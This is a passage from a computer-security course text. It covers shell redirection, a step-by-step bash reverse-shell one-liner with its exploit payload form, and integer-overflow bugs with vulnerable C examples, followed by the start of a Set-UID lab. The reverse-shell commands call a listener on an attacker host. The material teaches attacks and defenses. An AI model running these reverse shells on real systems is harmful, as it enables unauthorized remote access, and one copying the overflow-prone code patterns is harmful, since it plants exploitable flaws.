lrwx------ 1 seed seed 64 ... 2 -> /dev/pts/0
lr-x------ 1 seed seed 64 ... 3 -> /proc/12345/fd

(The fourth entry is the directory ls itself opened to list it.) File descriptors are also inherited across fork() and survive execve() unless marked close-on-exec, which is why the capability leak in Chapter 2 worked: an open descriptor is a capability that outlives the privilege used to create it.

11.3 Redirection in the Shell

The shell lets you rewire a command’s descriptors before it runs. The general forms are:

SyntaxMeaningDefault n
[n]< fileopen file for reading as fd n0
[n]> fileopen file for writing (truncate) as fd n1
[n]>> fileopen file for appending as fd n1
[n]<&mmake fd n a copy of fd m (for input)0
[n]>&mmake fd n a copy of fd m (for output)1

Note that there is no space between n and the operator: 2>file redirects stderr, but 2 >file passes 2 as an argument and redirects stdout.

Some examples:

$ cat < /tmp/xyz            # same as: cat 0< /tmp/xyz
$ ls -l > /tmp/out          # same as: ls -l 1> /tmp/out
$ ls /nonexistent 2> /tmp/err
$ make > build.log 2>&1     # stdout to build.log, then stderr to wherever stdout goes

exec: redirecting the current shell

Normally a redirection applies to one command. The exec builtin, given only redirections, applies them to the current shell process itself:

$ exec 3< /tmp/xyz          # open /tmp/xyz as fd 3 in this shell
$ cat <&3                   # cat reads its stdin from fd 3
hello from xyz
$ exec 3<&-                 # close fd 3

How redirection is implemented: dup2()

The shell implements every redirection with two system calls, open() and dup2():

int dup2(int oldfd, int newfd);

dup2 makes newfd refer to the same open-file-table entry as oldfd, closing newfd first if it was open. Here is what the shell does, in effect, for cat < /tmp/xyz:

#include <fcntl.h>
#include <unistd.h>

int main(void)
{
    int fd = open("/tmp/xyz", O_RDONLY);   /* say fd == 3            */
    dup2(fd, 0);                           /* fd 0 now -> /tmp/xyz   */
    close(fd);                             /* fd 3 no longer needed  */

    char *argv[] = { "/bin/cat", NULL };
    execve(argv[0], argv, NULL);           /* cat reads fd 0 = file  */
    return 1;
}

The fd table before and after dup2(3, 0):

   before                              after dup2(3, 0)
  +---+----------------+             +---+----------------+
  | 0 | /dev/pts/0     |             | 0 | /tmp/xyz  <----+--- same entry as 3
  +---+----------------+             +---+----------------+
  | 1 | /dev/pts/0     |             | 1 | /dev/pts/0     |
  +---+----------------+             +---+----------------+
  | 2 | /dev/pts/0     |             | 2 | /dev/pts/0     |
  +---+----------------+             +---+----------------+
  | 3 | /tmp/xyz       |             | 3 | /tmp/xyz       |  (then closed)
  +---+----------------+             +---+----------------+

execve replaces the program but keeps the fd table, so cat starts with its stdin already pointing at the file. A redirection like 2>&1 is simply dup2(1, 2): make fd 2 point wherever fd 1 points right now.

Note. Redirections are processed left to right, and each n>&m copies what m refers to at that moment. Hence cmd > out 2>&1 sends both streams to out, but cmd 2>&1 > out sends stderr to the terminal (where stdout pointed when 2>&1 was processed) and only stdout to out. This ordering rule is the key to reading the reverse-shell one-liner below.

11.4 Redirecting to a TCP Connection

A socket is just another object a file descriptor can point to. Bash provides a convenient way to create one: when a redirection names the path /dev/tcp/<host>/<port>, Bash opens a TCP connection to that host and port and uses the socket as the redirected descriptor.

# On 10.0.2.5, start a TCP server that prints what it receives:
$ nc -l 8080

# On another machine, redirect a command's output to that server:
$ echo "hello over TCP" > /dev/tcp/10.0.2.5/8080

The text appears in the nc window on 10.0.2.5. Input works the same way:

$ cat < /dev/tcp/10.0.2.5/8080      # whatever is typed into nc appears here

Note. /dev/tcp is not a real directory. Run ls /dev/tcp and you will get “No such file or directory.” It is a feature built into Bash’s redirection code (also /dev/udp), so it works only when Bash performs the redirection. dash, which is /bin/sh on Ubuntu, and zsh, the default shell on macOS, do not support it.

11.5 Netcat

Netcat (nc) reads from and writes to network connections using TCP or UDP. It connects its own stdin/stdout to a socket, which makes it the Swiss-army knife of network debugging — and the attacker’s listener of choice.

As a client, it connects to a host and port. Connecting to an SSH server reveals its version banner, a trick called banner grabbing:

$ nc 198.98.59.148 22
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4

As a server, it listens on a port. Run the two halves in two terminals to get a crude chat or echo session:

# server (10.0.2.5)                       # client
$ nc -lvp 8080                           $ nc 10.0.2.5 8080
Listening on 0.0.0.0 8080                hi there
Connection received on 10.0.2.3 51234
hi there

The flags are -l (listen), -v (verbose), -p (port), and often -n (do not resolve names). Different netcat variants accept slightly different flags; on Ubuntu nc -lnv 8080 and nc -lvp 8080 both work.

For file transfer, redirect each side:

$ nc -lvp 8080 > file_transfer.txt      # receiver
$ nc 10.0.2.5 8080 < file.txt           # sender

11.6 Building the Reverse Shell

We now have every piece. The attacker (10.0.2.3 in this section) runs a listener:

attacker$ nc -lnv 9090

The goal is to run, on the victim, an interactive shell whose stdin, stdout, and stderr are all the TCP connection to 10.0.2.3:9090. We build the command one redirection at a time.

Step 1: redirect stdout.

victim$ /bin/bash -i > /dev/tcp/10.0.2.3/9090

-i makes Bash interactive (it prints a prompt and reads commands). The output of commands now appears on the attacker’s listener, but the commands are still typed on the victim’s keyboard — not yet useful.

Step 2: take stdin from the same connection.

victim$ /bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1

0<&1 duplicates fd 1 into fd 0: stdin now refers to the same socket as stdout. A TCP socket is bidirectional, so the shell reads the attacker’s keystrokes from it. Commands typed in the listener execute on the victim, and their output returns. But the interactive prompt and error messages go to stderr, which still points at the victim’s terminal, so the attacker sees no prompt and no errors.

Step 3: send stderr there too.

victim$ /bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1

2>&1 makes fd 2 a copy of fd 1, the socket. Now all three standard descriptors point at one connection:

   victim bash fd table
  +---+------------------------------+
  | 0 |  socket 10.0.2.5 -> 10.0.2.3:9090
  +---+------------------------------+          attacker
  | 1 |  socket (same entry)         | =======> nc -lnv 9090
  +---+------------------------------+
  | 2 |  socket (same entry)         |
  +---+------------------------------+

On the attacker’s side:

attacker$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 46032
seed@victim:~$ id
id
uid=1000(seed) gid=1000(seed) groups=1000(seed)
seed@victim:~$

The order of the three redirections matters. > /dev/tcp/... must come first, because it is what opens the socket; 0<&1 and 2>&1 copy fd 1 as it stands at that moment. If you wrote 0<&1 2>&1 > /dev/tcp/..., fds 0 and 2 would be copies of the old fd 1 (the terminal), and only stdout would reach the attacker.

Note. An equivalent and also common form is bash -i >& /dev/tcp/10.0.2.3/9090 0>&1, where >& redirects both stdout and stderr at once. Pick one form and make sure you can explain it.

Running it from a shell that is not Bash

Because /dev/tcp is a Bash feature, the one-liner fails if the current shell is zsh or dash — the redirection is processed by the current shell before the /bin/bash program even starts. Wrap it so Bash interprets the whole line:

victim% bash -c "/bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1"

This is exactly how a reverse shell appears inside an exploit payload: as an argument to bash -c.

11.7 Delivering a Reverse Shell with an Exploit

In Chapter 5, the shellcode called execve("/bin/sh", {"/bin/sh", NULL}, NULL). A reverse-shell payload calls instead

char *argv[] = { "/bin/bash", "-c",
                 "/bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1", NULL };
execve("/bin/bash", argv, NULL);

The shellcode must therefore place three strings and an argument array in memory and point ebx, ecx, and edx at them — more work than the /bin/sh version, but the same technique. A common trick is to embed the strings in the payload with a placeholder byte (such as *) at the end of each, which the shellcode overwrites with 0x00 at run time, since the payload itself may not contain zero bytes. (Because the code depends on the placeholder’s offset, the command string must be padded to keep it in the same position.)

Why not just run /bin/sh? Because a network server’s standard descriptors are not the attacker’s terminal. A forked server child often has stdin attached to the connection that delivered the exploit, already consumed by the vulnerable read, and stdout attached to a log. An ordinary shell there would read end-of-file and exit, or fight with the server over the same socket, and its output would go to the server’s console. The reverse shell opens a fresh connection for the shell and wires all three descriptors to it.

Exploits are not the only delivery route. The same one-liner is what a phishing attachment, a malicious macro, a booby-trapped install script (curl ... | bash), or a compromised build step runs once the victim executes it. Collections such as the reverse shell cheat sheet linked in Further Reading list equivalent one-liners in Python, Perl, PHP, PowerShell, socat, and plain nc -e, so blocking one interpreter is not enough.

Going deeper. Reverse shells are only the simplest form of command and control (C2). Real malware usually beacons over HTTPS or DNS to blend in with normal traffic, encrypts its channel, and fetches new instructions periodically rather than holding one long-lived TCP session. Red-team frameworks such as Metasploit’s Meterpreter provide such channels. The underlying idea — the victim calls out — is the same.

11.8 Detecting and Preventing Reverse Shells

A reverse shell is a symptom of compromise rather than a vulnerability, so the first defense is to fix the bug that ran it. Beyond that, defenders look at several layers:

  • Egress filtering. Servers rarely need to open arbitrary outbound connections. A firewall that allows only the destinations a server actually needs (a package mirror, a database, a specific API) turns most reverse shells into failed connection attempts — and those failures are themselves a strong alarm signal.
  • Process lineage. A web server or database daemon whose child is bash -i, or whose shell has a socket on fd 0, 1, and 2, is almost never legitimate. Endpoint detection and response (EDR) tools and audit frameworks such as Linux auditd watch for exactly these parent–child patterns.
  • Network monitoring. Interactive sessions have a recognizable shape: small packets in both directions with human typing rhythm, on an unusual port, to a host the server has never contacted. Intrusion detection systems flag such sessions.
  • Least privilege and sandboxing. Running the service as an unprivileged user, in a container without a shell binary, or under a seccomp policy that forbids execve or connect, limits what the injected code can do even when the exploit succeeds.

A note on ethics. Only open reverse shells from machines you own or have explicit written permission to test, such as your lab VM and its containers. Pointing a reverse shell at, or from, someone else’s machine is unauthorized access.

Check Your Understanding

1. Why does a reverse shell succeed in situations where a bind shell fails?

Answer

A bind shell listens on the victim and requires an inbound connection from the attacker, which firewalls and NAT usually block. A reverse shell makes the victim open an outbound connection to the attacker’s listener, and outbound traffic is usually allowed, so it looks like an ordinary connection to the firewall.

2. After dup2(5, 1), what does fd 1 refer to, and what happened to whatever fd 1 referred to before?

Answer

Fd 1 refers to the same open-file-table entry as fd 5 (same file or socket, shared offset). The previous fd 1 was closed first (its open-file entry is released if no other descriptor references it). Fd 5 is still open and must be closed separately if it is no longer needed.

3. What is the difference between cmd > out.txt 2>&1 and cmd 2>&1 > out.txt?

Answer

Redirections are applied left to right. In the first, stdout is redirected to out.txt, then stderr becomes a copy of the new stdout, so both go to the file. In the second, stderr becomes a copy of stdout while stdout is still the terminal, and only then is stdout redirected; stderr goes to the terminal and only stdout goes to the file.

4. Explain each part of /bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1.

Answer

/bin/bash -i starts an interactive Bash. > /dev/tcp/10.0.2.3/9090 makes Bash open a TCP connection to 10.0.2.3 port 9090 and use it as fd 1 (stdout). 0<&1 makes fd 0 (stdin) a copy of fd 1, so commands are read from the same socket. 2>&1 makes fd 2 (stderr, where the prompt and errors go) a copy of fd 1 as well. All three standard streams now flow over the one connection to the attacker’s listener.

5. You run the one-liner in a macOS terminal and get zsh: no such file or directory: /dev/tcp/10.0.2.3/9090. Why, and how do you fix it?

Answer

The redirection is processed by the current shell, zsh, before /bin/bash runs, and /dev/tcp is a Bash-only pseudo-path, not a real file. Run the whole command under Bash: bash -c "/bin/bash -i > /dev/tcp/10.0.2.3/9090 0<&1 2>&1".

6. In a code-injection exploit against a network server, why is execve("/bin/sh", ...) often not enough to give the attacker control, even when the shellcode runs successfully?

Answer

The shell inherits the server process’s descriptors, which are not the attacker’s terminal: stdin may be the already-consumed exploit connection or a file at EOF, and stdout/stderr may go to the server’s log or console. The shell either exits immediately or runs where the attacker cannot see or type into it. A reverse shell opens a new connection and attaches all three descriptors to it.

7. Name two defenses that would stop or reveal a reverse shell even if the underlying vulnerability is exploited.

Answer

Any two of: egress filtering (the outbound connection is blocked and logged); process-lineage monitoring/EDR (a daemon spawning bash -i with socket descriptors is flagged); network intrusion detection (unusual interactive session to an unknown host); least privilege and sandboxing (no shell in the container, seccomp blocking execve/connect, unprivileged service user).

Summary

  • Firewalls and NAT block inbound connections but usually allow outbound ones, so attackers make the victim connect out to a listener: a reverse shell.
  • Every process has a file descriptor table; fds 0, 1, and 2 are stdin, stdout, and stderr, and programs do not care whether they are terminals, files, or sockets.
  • Shell redirection (<, >, n>&m, exec) is implemented with open() and dup2(), processed left to right; execve preserves the fd table.
  • Bash treats /dev/tcp/host/port as a TCP connection; it is not a real file and works only in Bash.
  • Netcat serves as client, listener (nc -lnv port), and file-transfer tool.
  • The one-liner /bin/bash -i > /dev/tcp/IP/PORT 0<&1 2>&1 connects all three standard streams of an interactive shell to the attacker; exploits run it through bash -c.
  • Defenses include fixing the vulnerability, egress filtering, process-lineage and network monitoring, and least privilege sandboxing.

Connection to the Labs

Lab 3: Format String and Reverse Shell, Task 4, ends with exactly this payload. After using the format-string write (Chapter 10) to redirect the server’s return address into shellcode, you replace the shellcode’s demo command with a reverse-shell command and catch the root shell with an nc -lnv listener on your VM. Before attempting it:

  • Practice Section 11.6 between two terminals on your VM (use 127.0.0.1 or your VM’s container-network address) until you can explain each redirection.
  • Notice that the lab’s shellcode runs /bin/bash -c "<command>" with a placeholder character whose position is fixed — pad your command so the placeholder does not move (Section 11.7).
  • The lab’s “Why a reverse shell here?” note is Question 6 above.

Further Reading

Chapter 12: Integer Overflows

Mathematical integers are unbounded. Machine integers are not: an int on our platform holds exactly 32 bits, a short 16, a char 8. When a computation produces a result that does not fit, C does not raise an error. Depending on the types involved, the result silently wraps around, gets truncated, changes sign, or — in the case of signed overflow — is undefined, which permits the compiler to assume it never happens.

An integer overflow is rarely dangerous by itself. It becomes a vulnerability when the wrong number is then used for something that matters: the size of a buffer, the length of a copy, an array index, or a security check. A bad multiplication produces a tiny allocation; the following loop writes the “intended” amount of data into it; the heap is overflowed. This chapter shows the three ways integers go wrong in C, how attackers exploit each one, and how to write code that does not.

Learning objectives. After this chapter you should be able to:

  • Explain two’s-complement representation and the range of common C integer types.
  • Recognize the three classes of integer bugs: truncation, signedness errors, and arithmetic overflow.
  • Trace how an integer bug turns into a memory-safety bug (an undersized buffer, an oversized copy, or a negative index) or a broken security check.
  • Explain why integer overflow is hard to detect in C, including the role of undefined behavior in compiler optimization.
  • Write overflow-safe size computations and use compiler flags and sanitizers to catch overflows.

12.1 A Two’s-Complement Refresher

The CPU stores an n-bit integer as n raw bits. Whether those bits mean a signed or an unsigned number is decided by the instructions that use them, not by the bits themselves. For signed integers, x86 (and every mainstream CPU) uses two’s complement: the most significant bit has weight −2n−1, and all other bits have their usual positive weights.

For a 32-bit int:

Bits (hex)As unsigned intAs int
0x0000000000
0x0000000111
0x7fffffff2,147,483,6472,147,483,647 (INT_MAX)
0x800000002,147,483,648−2,147,483,648 (INT_MIN)
0xffffffff4,294,967,295 (UINT_MAX)−1

Two facts follow and will matter shortly:

  • Negation is “invert all bits and add 1.” The x86 neg instruction replaces its operand with its two’s complement (equivalently, subtracts it from 0).
  • The range is asymmetric. There is one more negative value than positive values: −2,147,483,648 has no positive counterpart in 32 bits. Negating INT_MIN yields INT_MIN again: 0x80000000 → invert → 0x7fffffff → add 1 → 0x80000000.

The common types on 32-bit x86 Linux (and, except where noted, on x86-64 Linux) are:

TypeBitsRange
char / signed char8−128 … 127
unsigned char80 … 255
short16−32,768 … 32,767
unsigned short160 … 65,535
int32−231 … 231−1
unsigned int320 … 232−1
long, size_t, pointers32 (64 on x86-64)

12.2 Truncation

Truncation happens when a value is assigned to a narrower type. The high bits are discarded:

int   i = 0x12345678;
short s = i;          /* s == 0x5678 = 22,136               */
char  c = i;          /* c == 0x78   = 120 ('x')            */
   i  : 12 34 56 78      (32 bits)
   s  :       56 78      (low 16 bits kept)
   c  :          78      (low 8 bits kept)

Converting an out-of-range value to a signed narrower type is implementation-defined in C; GCC and Clang simply keep the low bits, as above. Converting to an unsigned narrower type is defined to wrap modulo 2n.

Truncation becomes a bug when a check is done on one width and the use on another. A classic shape:

void copy_record(char *src, unsigned int len)
{
    char buf[256];
    unsigned short n = len;          /* truncated to 16 bits */

    if (n >= sizeof(buf))            /* check uses the truncated value */
        return;
    memcpy(buf, src, len);           /* copy uses the full value */
}

With len = 0x10010 (65,552), n is 0x0010 = 16, which passes the check, and memcpy then copies 65,552 bytes into a 256-byte buffer. The fix is to check and use the same variable, of a type wide enough for every possible input.

12.3 Signedness Bugs

Signedness bugs arise when a value is interpreted as signed in one place and as unsigned in another. C’s usual arithmetic conversions make this easy to do by accident: when a signed and an unsigned operand of the same rank meet in an expression, the signed one is converted to unsigned.

Signed checks, unsigned uses

The most common pattern is a length that is checked as a signed number but used as an unsigned one:

#define MAX 64

void handle(char *src, int size)     /* size comes from the attacker */
{
    char buf[MAX];
    if (size < MAX)                  /* signed comparison: -1 < 64 is true */
        memcpy(buf, src, size);      /* memcpy takes size_t: -1 -> 0xffffffff */
}

A negative size passes the check, because −1 is indeed less than 64. But memcpy’s third parameter has type size_t, so −1 is converted to 4,294,967,295 and memcpy copies until it crashes or corrupts everything above buf. From the attacker’s point of view, size is very big as an unsigned number yet still passes the check as a signed one.

Interestingly, if the check had been written as if (size < sizeof(buf)), the comparison would have been done in unsigned arithmetic (because sizeof yields a size_t), −1 would have become huge, and the check would have rejected it. Correctness here depends on the type of a constant several lines away — which is precisely why these bugs are so common. Write the intent explicitly: reject negative values, or make the parameter size_t from the start.

Negative sizes to allocators

int size = read_int_from_packet();   /* attacker sends -1 */
void *p = malloc(size);              /* malloc(size_t): 0xffffffff bytes */

malloc receives an enormous request and returns NULL. If the program does not check the return value, the next write dereferences NULL (a crash) or, if an offset is added first, writes to a low address. In other variants, size + 1 or size * 2 wraps a negative value back to a small positive one, and the allocation succeeds with the wrong size.

Assuming non-negativity

int table[100];

void set(int x, int value)
{
    if (x < 100)                     /* forgets that x may be negative */
        table[x] = value;            /* x = -10 writes 40 bytes before table */
}

The check enforces only the upper bound. A negative index writes below the array, into whatever precedes it in memory. Array indices and sizes should be unsigned, or both bounds must be checked.

Case study: an “absolute value” password check

The following example looks as if no input could succeed:

int absolute(int i)
{
    if (i < 0)
        return -i;
    else
        return i;
}

void pw(void)
{
    int passwd;
    printf("Password: ");
    scanf("%d", &passwd);
    if (absolute(passwd) < 0) {      /* an absolute value is never negative... */
        printf("Password OK :)\n");
    } else {
        printf("Invalid Pw!\n");
    }
}

The programmer reasons that absolute() never returns a negative number, so the “Password OK” branch is dead code. On the machine, -i compiles to a neg instruction, and Section 12.1 showed that negating INT_MIN gives INT_MIN:

   input  -2147483648       ->  0x80000000
   neg    0x80000000        ->  0x7fffffff + 1  ->  0x80000000  (still INT_MIN)
   absolute() returns -2147483648, which is < 0   ->  "Password OK :)"
$ gcc -m32 -O0 pw.c -o pw
$ ./pw
Password: -2147483648
Password OK :)

In C, negating INT_MIN is undefined behavior, so the outcome is not even guaranteed. With optimizations enabled, the compiler may reason that absolute() can never be negative and delete the branch. GCC 9.4 on Ubuntu 20.04 does exactly that:

$ gcc -m32 -O2 pw.c -o pw && echo -2147483648 | ./pw
Password: Invalid Pw!
$ gcc -m32 -ftrapv pw.c -o pw && echo -2147483648 | ./pw
Password: Aborted (core dumped)

The same source is “exploitable” at -O0, “safe” at -O2, and a crash with -ftrapv (Section 12.6). The program’s security now depends on compiler flags, which is a good sign that the code itself is wrong.

12.4 Arithmetic Overflow

Arithmetic overflow occurs when the result of +, -, or * does not fit in the result type:

unsigned int sum        = a + b;   /* wraps if a + b >= 2^32 */
unsigned int product    = a * b;   /* wraps if a * b >= 2^32 */
unsigned int difference = a - b;   /* wraps to a huge value if b > a */

For unsigned types the result is defined as the true result modulo 232, so there is no crash and no warning — just a wrong number. Subtraction underflow is especially common in length calculations: len - header_size with len smaller than the header becomes a value close to 4 billion.

Case study: OpenSSH challenge-response (CVE-2002-0639)

Versions of OpenSSH from 2002 contained this code in the challenge-response authentication path:

nresp = packet_get_int();                       /* attacker-controlled */
if (nresp > 0) {
    response = xmalloc(nresp * sizeof(char *));
    for (i = 0; i < nresp; i++)
        response[i] = packet_get_string(NULL);  /* writes nresp pointers */
}

On a 32-bit system sizeof(char *) is 4. If the attacker sends nresp = 0x40000000, then

   nresp * 4  =  0x40000000 * 4  =  0x1_0000_0000  ->  truncated to 32 bits  ->  0

and the allocation size wraps to 0. A slightly larger value, such as 0x40000001, wraps to 4: a tiny but perfectly valid allocation. The loop then tries to store about a billion pointers into that buffer, overflowing the heap with data (pointers to attacker-supplied strings) and corrupting neighboring heap objects. This bug allowed remote code execution in sshd — before authentication.

The pattern malloc(count * size) with an attacker-controlled count is one of the most frequently exploited integer bugs, and the reason allocation APIs such as calloc check the multiplication internally.

12.5 Why Integer Bugs Are Hard to Catch in C

Machine code has no types. Registers and memory hold raw bits. The same 0xffffffff is −1 to a signed comparison (jl, jg) and 4,294,967,295 to an unsigned one (jb, ja). The CPU does record overflow in the flags — the carry flag (CF) for unsigned, the overflow flag (OF) for signed — but C provides no portable way to read them, so the information is discarded.

Signed overflow is undefined behavior. The C standard says nothing about what a signed overflow produces, and compilers exploit that freedom: they may assume signed overflow never happens. A well-intentioned check like this one

int a = get_input();
if (a + 100 < a) {           /* "did a + 100 overflow?" */
    abort();
}

may be compiled to nothing at -O2, because if overflow is impossible, a + 100 < a is always false. The check must be written so that it never overflows in the first place: if (a > INT_MAX - 100).

Implicit conversions are invisible. Integer promotions, the usual arithmetic conversions, and conversions at function-call boundaries (int to size_t in memcpy) happen without any syntax at the point of use. The bug in Section 12.3 is not visible on the line where it happens.

Testing rarely hits the edges. Overflows usually require values near 231 or 232, and coverage-guided fuzzers (Chapter 9) explore branches, not values: the overflowing multiplication executes the same instructions as a benign one, so the fuzzer sees no new coverage. Unless a sanitizer turns the overflow itself into a crash, the bug shows up only if the corrupted size later causes a detectable memory error. The same blind spot affects human and LLM-based code review: the arithmetic looks reasonable, and the dangerous range of inputs is not apparent from the code. This is one reason integer bugs, like the race conditions discussed later in the course, keep appearing in mature, heavily fuzzed software.

12.6 Defending Against Integer Overflow

Use the right types

  • Sizes and counts: use size_t, which is unsigned and wide enough for any object size. Never store a size in an int.
  • Fixed-width data (network fields, file formats): use uint8_t, uint16_t, uint32_t, uint64_t from <stdint.h>, and convert to size_t with an explicit range check.
  • Integers that hold pointers: use intptr_t / uintptr_t, never int (which is narrower than a pointer on x86-64).
  • Reject negative values as soon as untrusted input is parsed.

Check before you compute

Test for overflow using operations that cannot themselves overflow:

#include <stdint.h>

/* a + b for size_t */
if (b > SIZE_MAX - a)            goto too_big;
total = a + b;

/* count * sizeof(T) */
if (count > SIZE_MAX / sizeof(T)) goto too_big;
p = malloc(count * sizeof(T));

Better still, let the library do it. calloc(count, size) checks the multiplication and fails rather than wrapping, and glibc’s reallocarray(ptr, count, size) does the same for resizing.

GCC and Clang provide checked-arithmetic builtins that compute the mathematically correct result and report whether it fit:

size_t bytes;
if (__builtin_mul_overflow(nresp, sizeof(char *), &bytes))
    fatal("too many responses");
response = xmalloc(bytes);

__builtin_add_overflow and __builtin_sub_overflow work the same way, for signed and unsigned types alike. C23 standardizes this interface as ckd_add, ckd_sub, and ckd_mul in <stdckdint.h>.

Compiler flags and sanitizers

FlagEffect
-fwrapvDefine signed overflow to wrap (two’s complement). Removes the undefined behavior, so overflow checks are not optimized away, but still produces wrong values.
-ftrapvTrap (abort) on signed overflow in +, -, *. Historically buggy on older compilers and with constant expressions.
-fsanitize=undefinedUBSan: report signed overflow, invalid shifts, and other undefined behavior at run time. Not available in very old compilers.
-fsanitize=signed-integer-overflowOnly the signed-overflow check of UBSan.
-fsanitize=unsigned-integer-overflow(Clang only) Also report unsigned wraparound, which is legal C but often a bug.

A demonstration:

/* int.c */
#include <stdio.h>
#include <limits.h>
int main(void)
{
    int a = INT_MAX;
    int b = a + 1;
    printf("%d\n", b);
    return 0;
}
$ gcc int.c -o int && ./int
-2147483648
$ gcc -ftrapv int.c -o safe-int && ./safe-int
Aborted (core dumped)
$ gcc -fsanitize=undefined int.c -o ubsan-int && ./ubsan-int
int.c:7:15: runtime error: signed integer overflow: 2147483647 + 1 cannot be represented in type 'int'
-2147483648

(The exact line:column and wording vary slightly between GCC and Clang.) UBSan reports and continues by default; add -fno-sanitize-recover=undefined to make it abort, which is what you want when fuzzing so that every overflow becomes a crash the fuzzer records (Chapter 9).

Memory-safe languages

Rust makes the choice explicit. In debug builds, arithmetic overflow panics (“attempt to multiply with overflow”); in release builds it wraps unless overflow-checks is enabled. Code that handles untrusted numbers should not rely on either behavior and should instead say what it means:

#![allow(unused)]
fn main() {
let total = count.checked_mul(elem_size)?.checked_add(HEADER)?;  // None on overflow
let wrapped = a.wrapping_add(b);        // explicit modular arithmetic
let clamped = a.saturating_sub(b);      // stops at 0 instead of wrapping
}

A Rust integer overflow can still produce a wrong size, but the subsequent buffer access is bounds-checked, so the result is a panic or an error — a denial of service at worst — rather than heap corruption.

Going deeper. Integer bugs are often only the first step: the wrapped size produces an undersized heap buffer, and the real exploitation happens through heap metadata or adjacent heap objects. Heap exploitation is the subject of a later chapter. Dietz, Li, Regehr, and Adve’s study “Understanding Integer Overflow in C/C++” (ICSE 2012), which built the checker that became Clang’s integer sanitizers, found intentional and unintentional overflows in a large fraction of the widely used programs they tested.

Check Your Understanding

1. What values do s and c hold after int i = 0x12345678; short s = i; char c = i;?

Answer

s keeps the low 16 bits: 0x5678 = 22,136. c keeps the low 8 bits: 0x78 = 120, the character 'x'.

2. Why does entering -2147483648 make absolute(passwd) < 0 true in the password example (compiled without optimization)?

Answer

-2147483648 is INT_MIN = 0x80000000. It is negative, so absolute returns -i, compiled as neg. Two’s-complement negation inverts the bits (0x7fffffff) and adds 1, giving 0x80000000 again, because +2,147,483,648 is not representable in 32 bits. The function returns INT_MIN, which is less than 0. (In C this is undefined behavior, so an optimizing compiler may behave differently.)

3. In the handle() function of Section 12.3, which value of size overflows buf, and what are two different ways to fix the function?

Answer

Any negative value, such as −1: it passes the signed check size < 64, then is converted to a huge size_t by memcpy. Fixes: (1) declare size as size_t, so negative inputs cannot exist and the comparison is unsigned; or (2) keep int but check both bounds, if (size >= 0 && size < MAX).

4. In the OpenSSH bug, why does nresp = 0x40000000 lead to a heap overflow on a 32-bit system but not on a 64-bit system with the same code?

Answer

On 32-bit, sizeof(char *) is 4 and the product 0x40000000 × 4 = 232 is truncated to 0 (a value just above 0x40000000 gives a tiny allocation), while the loop still writes nresp pointers. On 64-bit, the multiplication is done in 64-bit size_t arithmetic with sizeof(char *) = 8, giving 8 GiB without wrapping: the allocation either fails or is genuinely that large, so the loop does not overflow it. (A large enough nresp type on 64-bit could still wrap; the robust fix is a checked multiplication.)

5. Why might the check if (a + 100 < a) abort(); disappear from an optimized binary, and how should it be written?

Answer

For signed a, overflow is undefined behavior, so the compiler may assume a + 100 never overflows; under that assumption a + 100 < a is always false and the branch is removed. Write a check that cannot overflow: if (a > INT_MAX - 100) abort();, or use __builtin_add_overflow(a, 100, &r).

6. Rewrite p = malloc(count * sizeof(struct item)); so that it cannot allocate a wrapped size.

Answer

Any of: p = calloc(count, sizeof(struct item)); (which also zeroes the memory); p = reallocarray(NULL, count, sizeof(struct item));; or check first: if (count > SIZE_MAX / sizeof(struct item)) return NULL;. Always check for a NULL result afterwards.

7. Why do coverage-guided fuzzers often miss integer overflows, and what makes them better at finding them?

Answer

The overflowing operation executes the same instructions and branches as a benign one, so the fuzzer gets no new coverage feedback for reaching the dangerous value, and the overflow itself does not crash the program. Compiling the target with UBSan (-fsanitize=undefined, -fno-sanitize-recover) or -ftrapv turns each overflow into a crash, and comparison-splitting or value-profile features in modern fuzzers help them reach boundary values.

Summary

  • C integers have fixed widths. Signed integers use two’s complement, whose range is asymmetric: -INT_MIN is not representable and evaluates to INT_MIN on x86.
  • Truncation: assigning to a narrower type drops high bits; checking one width and using another is a bug.
  • Signedness bugs: a negative value that passes a signed check becomes huge when converted to size_t; negative indices bypass upper-bound checks.
  • Arithmetic overflow: unsigned arithmetic wraps silently; malloc(count * size) with attacker-controlled count (as in OpenSSH, CVE-2002-0639) yields an undersized buffer and a heap overflow.
  • Integer bugs are hard to see because machine code has no types, conversions are implicit, signed overflow is undefined behavior that compilers optimize around, and fuzzers get no coverage signal for bad values.
  • Defenses: size_t and fixed-width types, checks that cannot overflow, calloc / reallocarray, __builtin_*_overflow (C23 ckd_*), compiler options -fwrapv, -ftrapv, and -fsanitize=undefined, and languages such as Rust with explicit checked_*/wrapping_* arithmetic.

Connection to the Labs

Optional Lab: Rust Memory Safety, Part B, asks you to implement alloc_size(count, elem_size) without overflow — the Rust version of Section 12.6’s checked allocation size — and to explain what the equivalent C expression count * elem_size + HEADER would produce for usize::MAX / 4 and 4. The same part covers Heartbleed, a close relative of this chapter’s bugs: an attacker-supplied length that the program trusted without checking it against the real data.

Further Reading

Lab 1: Environment Variables and Set-UID Programs

Adapted from the SEED Labs Environment Variable and Set-UID Program Lab (Ubuntu 20.04 edition) by Wenliang Du. See Attribution and License.

EnvironmentSEED Ubuntu 20.04 VM (setup) or your own Ubuntu VM
Fileslab1.tar.gz — the SEED Labsetup sources, repackaged for this course
SubmissionOne PDF, structured as described in Submitting a Lab Report

Overview

Environment variables are a set of dynamic named values that can affect the way running processes behave on a computer. They have been part of Unix since 1979 and are used by essentially every operating system since. Although environment variables affect program behavior, how they achieve that is not well understood by many programmers — and a program that uses environment variables without understanding how they get there is often a vulnerable program.

In this lab you will study how environment variables work, how they propagate from a parent process to its children, and how they affect system and program behavior. The focus is on their effect on Set-UID programs, which are privileged, and therefore sit exactly on the boundary where attacker-controlled input meets elevated privilege.

Topics covered:

  • Environment variables
  • Set-UID programs
  • Securely invoking external programs
  • Capability leaking
  • The dynamic loader/linker

Background reading

  • man 7 environ, man 3 system, man 2 execve, man 2 setuid, man 8 ld.so

Before you begin

Snapshot your VM. Tasks 6 and 7 have you relink /bin/sh and create root-owned Set-UID binaries; a snapshot makes cleanup trivial.

Download the lab source files and unpack them inside the VM:

mkdir -p ~/cs487/lab1 && cd ~/cs487/lab1
wget https://xjtuwxg.github.io/computer-security-labs/labs/files/lab1.tar.gz
tar xzf lab1.tar.gz
